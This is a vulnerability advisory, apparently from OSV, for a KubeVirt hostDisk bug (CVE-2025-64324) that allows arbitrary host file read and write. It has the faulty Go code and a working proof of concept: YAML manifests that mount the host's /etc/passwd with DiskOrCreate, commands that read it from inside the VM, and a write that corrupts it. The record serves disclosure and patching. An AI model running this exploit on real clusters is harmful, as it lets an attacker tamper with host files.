--- id: CVE-2025-64324 aliases: - GHSA-46xp-26xh-hpqh - GO-2025-4110 title: KubeVirt Vulnerable to Arbitrary Host File Read and Write summary: KubeVirt Vulnerable to Arbitrary Host File Read and Write severity: high cvss: 7.7 cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N' vendor: kubevirt product: kubevirt.io/kubevirt ecosystem: go affected: - kubevirt.io/kubevirt < 1.6.1 - 'kubevirt.io/kubevirt >= 1.7.0-alpha.0, < 1.7.0-rc.0' patched: - kubevirt.io/kubevirt 1.6.1 - kubevirt.io/kubevirt 1.7.0-rc.0 published: '2025-11-07' updated: '2026-09-10' sourceUpdated: '2026-09-10T03:50:30.423983182Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-46xp-26xh-hpqh' references: - url: >- https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-64324' - url: 'https://github.com/kubevirt/kubevirt/pull/15037' - url: >- https://github.com/kubevirt/kubevirt/commit/00d03e43e3bf03e563136695a4732b65ed42d764 - url: >- https://github.com/kubevirt/kubevirt/commit/ff3b69b08b6b9c8d08d23735ca8d82455f790a69 - url: 'https://github.com/kubevirt/kubevirt' tags: - osv - go epss: 0.00223 epssPercentile: 0.13205 ingestedAt: '2026-09-12T03:13:01.751Z' --- ## Overview ### Summary The `hostDisk` feature in KubeVirt allows mounting a host file or directory owned by the user with UID 107 into a VM. However, the implementation of this feature and more specifically the `DiskOrCreate` option which creates a file if it doesn't exist, has a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users on the host system. ### Details The `hostDisk` feature gate in KubeVirt allows mounting a QEMU RAW image directly from the host into a VM. While similar features, such as mounting disk images from a PVC, enforce ownership-based restrictions (e.g., only allowing files owned by specific UID, this mechanism can be subverted. For a RAW disk image to be readable by the QEMU process running within the `virt-launcher` pod, it must be owned by a user with UID 107. **If this ownership check is considered a security barrier, it can be bypassed**. In addition, the ownership of the host files mounted via this feature is changed to the user with UID 107. The above is due to a logic bug in the code of the `virt-handler` component which prepares and sets the permissions of the volumes and data inside which are going to be mounted in the `virt-launcher` pod and consecutively consumed by the VM. It is triggered when one tries to mount a host file or directory using the `DiskOrCreate` option. The relevant code is as follows: ```go // pkg/host-disk/host-disk.go func (hdc DiskImgCreator) Create(vmi *v1.VirtualMachineInstance) error { for _, volume := range vmi.Spec.Volumes { if hostDisk := volume.VolumeSource.HostDisk; shouldMountHostDisk(hostDisk) { if err := hdc.mountHostDiskAndSetOwnership(vmi, volume.Name, hostDisk); err != nil { return err } } } return nil } func shouldMountHostDisk(hostDisk *v1.HostDisk) bool { return hostDisk != nil && hostDisk.Type == v1.HostDiskExistsOrCreate && hostDisk.Path != "" } func (hdc *DiskImgCreator) mountHostDiskAndSetOwnership(vmi *v1.VirtualMachineInstance, volumeName string, hostDisk *v1.HostDisk) error { diskPath := GetMountedHostDiskPathFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName, hostDisk.Path) diskDir := GetMountedHostDiskDirFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName) fileExists, err := ephemeraldiskutils.FileExists(diskPath) if err != nil { return err } if !fileExists { if err := hdc.handleRequestedSizeAndCreateSparseRaw(vmi, diskDir, diskPath, hostDisk); err != nil { return err } } // Change file ownership to the qemu user. if err := ephemeraldiskutils.DefaultOwnershipManager.UnsafeSetFileOwnership(diskPath); err != nil { log.Log.Reason(err).Errorf("Couldn't set Ownership on %s: %v", diskPath, err) return err } return nil } ``` The root cause lies in the fact that if the specified by the user file does not exist, it is created by the `handleRequestedSizeAndCreateSparseRaw` function. However, this function does not explicitly set file ownership or permissions. As a result, the logic in `mountHostDiskAndSetOwnership` proceeds to the branch marked with `// Change file ownership to the qemu user`, assuming ownership should be applied. This logic fails to account for the scenario where the file already exists and may be owned by a more privileged user. In such cases, changing file ownership without validating the file's origin introduces a security risk: it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. This may also enable an **External API Attacker** to disrupt system availability. ### PoC To demonstrate this vulnerability, the `hostDisk` feature gate should be enabled when deploying the KubeVirt stack. ```yaml # kubevirt-cr.yaml apiVersion: kubevirt.io/v1 kind: KubeVirt metadata: name: kubevirt namespace: kubevirt spec: certificateRotateStrategy: {} configuration: developerConfiguration: featureGates: - HostDisk customizeComponents: {} imagePullPolicy: IfNotPresent workloadUpdateStrategy: {} ``` Initially, if one tries to create a VM and mount `/etc/passwd` from the host using the `Disk` option which assumes that the file already exists, the following error is returned: ```yaml # arbitrary-host-read-write.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-host-read-write spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-host-read-write spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio - name: host-disk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= - name: host-disk hostDisk: path: /etc/passwd type: Disk ``` ```bash # Deploy the above VM manifest operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml # Observe the deployment status operator@minikube:~$ kubectl get vm NAME AGE STATUS READY arbitrary-host-read-write 7m55s CrashLoopBackOff False # Inspect the reason for the `CrashLoopBackOff` operator@minikube:~$ kubectl get vm arbitrary-host-read-write -o jsonpath='{.status.conditions[3].message}' server error. command SyncVMI failed: "LibvirtError(Code=1, Domain=10, Message='internal error: process exited while connecting to monitor: 2025-05-20T20:14:01.546609Z qemu-kvm: -blockdev {\"driver\":\"file\",\"filename\":\"/var/run/kubevirt-private/vmi-disks/host-disk/passwd\",\"aio\":\"native\",\"node-name\":\"libvirt-1-storage\",\"read-only\":false,\"discard\":\"unmap\",\"cache\":{\"direct\":true,\"no-flush\":false}}: Could not open '/var/run/kubevirt-private/vmi-disks/host-disk/passwd': Permission denied')" ``` The hosts's `/etc/passwd` file's owner and group are `0:0` (`root:root`) hence, when one tries to deploy the above `VirtualMachine` definition, it gets a `PermissionDenied` error because the file is not owned by the user with UID `107` (`qemu`): ```bash # Inspect the ownership of the host's mounted `/etc/passwd` file within the `virt-launcher` pod responsible for the VM operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-host-read-write-tjjkt -- ls -al /var/run/kubevirt-private/vmi-disks/host-disk/passwd -rw-r--r--. 1 root root 1276 Jan 13 17:10 /var/run/kubevirt-private/vmi-disks/host-disk/passwd ``` However, if one uses the `DiskOrCreate` option, the file's ownership is silently changed to `107:107` (`qemu:qemu`) before the VM is started which allows the latter to boot, and then read and modify it. ```yaml ... hostDisk: capacity: 1Gi path: /etc/passwd type: DiskOrCreate ``` ```bash # Apply the modified manifest operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml # Observe the deployment status operator@minikube::~$ kubectl get vm NAME AGE STATUS READY arbitrary-host-read-write 7m55s Running False # Initiate a console connection to the running VM operator@minikube: virtctl console arbitrary-host-read-write ... ``` ```bash # Within the VM arbitrary-host-read-write, inspect the present block devices and their contents root@arbitrary-host-read-write:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / `-vda15 253:15 0 8M 0 part vdb 253:16 0 1M 0 disk vdc 253:32 0 1.5K 0 disk root@arbitrary-host-read-write:~$ cat /dev/vdc root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin _rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash # Write into the block device backed up by the host's `/etc/passwd` file root@arbitrary-host-read-write:~$ echo "Quarkslab" | tee -a /dev/vdc ``` If one inspects the file content of the host's `/etc/passwd` file, they will see that it has changed alongside its ownership: ```bash # Inspect the contents of the file operator@minikube:~$ cat /etc/passwd Quarkslab :root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin _rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash # Inspect the permissions of the file operator@minikube:~$ ls -al /etc/passwd -rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd # Test the integrity of the system operator@minikube: $sudo su sudo: unknown user root sudo: error initializing audit plugin sudoers_audit ``` ### Impact Host files arbitrary read and write - this vulnerability it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. ## Affected packages - `kubevirt.io/kubevirt < 1.6.1` - `kubevirt.io/kubevirt >= 1.7.0-alpha.0, < 1.7.0-rc.0` ## Remediation Upgrade to a patched release: - `kubevirt.io/kubevirt 1.6.1` - `kubevirt.io/kubevirt 1.7.0-rc.0`